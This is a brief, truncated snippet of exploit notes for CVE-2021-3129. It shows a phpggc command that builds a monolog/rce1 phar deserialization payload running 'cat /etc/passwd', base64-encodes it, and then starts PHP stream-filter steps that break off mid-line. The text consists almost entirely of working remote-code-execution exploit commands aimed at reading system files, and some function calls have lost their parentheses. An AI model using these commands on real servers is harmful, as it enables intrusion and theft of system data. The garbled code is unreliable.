CVE-2021-3129

CVE-2021-3129 Generate a phar package with custom commands: php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a enter the php command line environment $fp = fopen'php://output', 'w'; streamfilterappend$fp,...